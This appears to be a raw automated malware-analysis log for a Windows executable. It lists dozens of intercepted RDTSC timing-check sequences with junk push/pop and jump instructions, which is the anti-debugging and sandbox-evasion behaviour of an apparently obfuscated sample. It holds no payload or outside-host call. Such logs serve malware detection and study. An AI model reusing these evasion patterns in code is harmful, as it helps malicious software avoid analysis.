Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 85ECCD second address: 85ECD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 85ECD2 second address: 85ECD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 85DF0E second address: 85DF1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007FCBAD522AA6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 85DF1B second address: 85DF1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 85E0A3 second address: 85E0A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 85E0A9 second address: 85E0AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 85E0AF second address: 85E0B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 85E0B3 second address: 85E0B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 85E0B7 second address: 85E0E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCBAD522AB7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FCBAD522AACh 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 85E872 second address: 85E887 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D121h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 85E887 second address: 85E890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 861B72 second address: 861B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 861B76 second address: 861B8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AADh 0x00000007 ja 00007FCBAD522AA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8612CA second address: 8612E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D11Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FCBACB2D116h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 861560 second address: 861564 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 861564 second address: 8615A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FCBACB2D131h 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FCBACB2D123h 0x00000014 pop esi 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8615A8 second address: 8615AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8615AC second address: 8615B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 861864 second address: 86186A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 86186A second address: 86186E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 86186E second address: 86187C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCBAD522AA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 86187C second address: 861882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 861882 second address: 8618A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8618A1 second address: 8618BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FCBACB2D122h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7C005E second address: 7C0085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FCBAD522AB1h 0x0000000c jmp 00007FCBAD522AAFh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7C0085 second address: 7C009B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D122h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 867695 second address: 86769B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 86769B second address: 8676AF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCBACB2D116h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007FCBACB2D116h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8676AF second address: 8676B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8676B3 second address: 8676B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8676B9 second address: 8676BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 867979 second address: 86799D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FCBACB2D11Dh 0x0000000b jmp 00007FCBACB2D11Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 86799D second address: 8679A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8679A1 second address: 8679CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCBACB2D122h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push ebx 0x0000000d jmp 00007FCBACB2D120h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8679CE second address: 8679D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 86886D second address: 868884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCBACB2D123h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 868884 second address: 8688A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push ecx 0x00000008 jmp 00007FCBAD522AAFh 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007FCBAD522AA6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8688A3 second address: 8688A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 869136 second address: 86913A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 86913A second address: 869140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 86DC9A second address: 86DCA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 86DCA0 second address: 86DCA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8709FE second address: 870A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 870A04 second address: 870A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007FCBACB2D116h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 870B63 second address: 870B79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCBAD522AABh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 870CE8 second address: 870CEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8710F1 second address: 871107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FCBAD522AAEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 871255 second address: 87125B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 87125B second address: 87126E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FCBAD522AAAh 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 87126E second address: 871296 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCBACB2D116h 0x00000008 jmp 00007FCBACB2D121h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jnc 00007FCBACB2D116h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 871433 second address: 871437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 871437 second address: 871442 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 871584 second address: 871590 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 871590 second address: 871596 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 871596 second address: 8715C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCBAD522AB4h 0x00000009 jmp 00007FCBAD522AB3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 879BF7 second address: 879C19 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FCBACB2D128h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 879C19 second address: 879C1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 879C1D second address: 879C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push ebx 0x0000000a jmp 00007FCBACB2D11Eh 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 877CFF second address: 877D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FCBAD522AAFh 0x0000000d jmp 00007FCBAD522AB7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 877D2D second address: 877D46 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FCBACB2D118h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FCBACB2D11Ah 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 877EBF second address: 877ECF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007FCBAD522AA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 877ECF second address: 877ED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FCBACB2D116h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 877ED9 second address: 877EDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 877EDD second address: 877EE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 877EE3 second address: 877EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8781CE second address: 8781D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8781D3 second address: 8781DF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push edi 0x00000006 pop edi 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8781DF second address: 8781E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8781E5 second address: 8781E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 878383 second address: 878397 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D11Ah 0x00000007 jo 00007FCBACB2D116h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 878397 second address: 87839D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 878C29 second address: 878C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 878C34 second address: 878C3E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCBAD522AA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 878C3E second address: 878C55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D11Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 878C55 second address: 878C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCBAD522AAFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 878C68 second address: 878C78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FCBACB2D116h 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 878C78 second address: 878C8E instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCBAD522AA6h 0x00000008 jmp 00007FCBAD522AACh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8778F1 second address: 8778F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8778F7 second address: 8778FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 87C068 second address: 87C070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 87C070 second address: 87C083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FCBAD522AA6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c jbe 00007FCBAD522AA6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 87C083 second address: 87C0CE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jo 00007FCBACB2D116h 0x00000009 pop esi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FCBACB2D127h 0x00000012 jmp 00007FCBACB2D129h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d je 00007FCBACB2D116h 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 87C0CE second address: 87C0D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 87BF23 second address: 87BF35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jng 00007FCBACB2D116h 0x0000000b jno 00007FCBACB2D116h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 87BF35 second address: 87BF44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FCBAD522AA6h 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8813FB second address: 881430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jc 00007FCBACB2D12Ch 0x0000000d jmp 00007FCBACB2D124h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FCBACB2D120h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 881430 second address: 881434 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 881434 second address: 881443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007FCBACB2D116h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 881572 second address: 88159E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push edx 0x0000000a pop edx 0x0000000b jnc 00007FCBAD522AA6h 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FCBAD522AB6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 88159E second address: 8815A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8816CA second address: 8816CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8816CE second address: 8816D4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 882EA6 second address: 882EDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCBAD522AB3h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FCBAD522AA6h 0x00000013 jmp 00007FCBAD522AB6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 882EDD second address: 882EF4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCBACB2D116h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jc 00007FCBACB2D134h 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8850DB second address: 8850E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
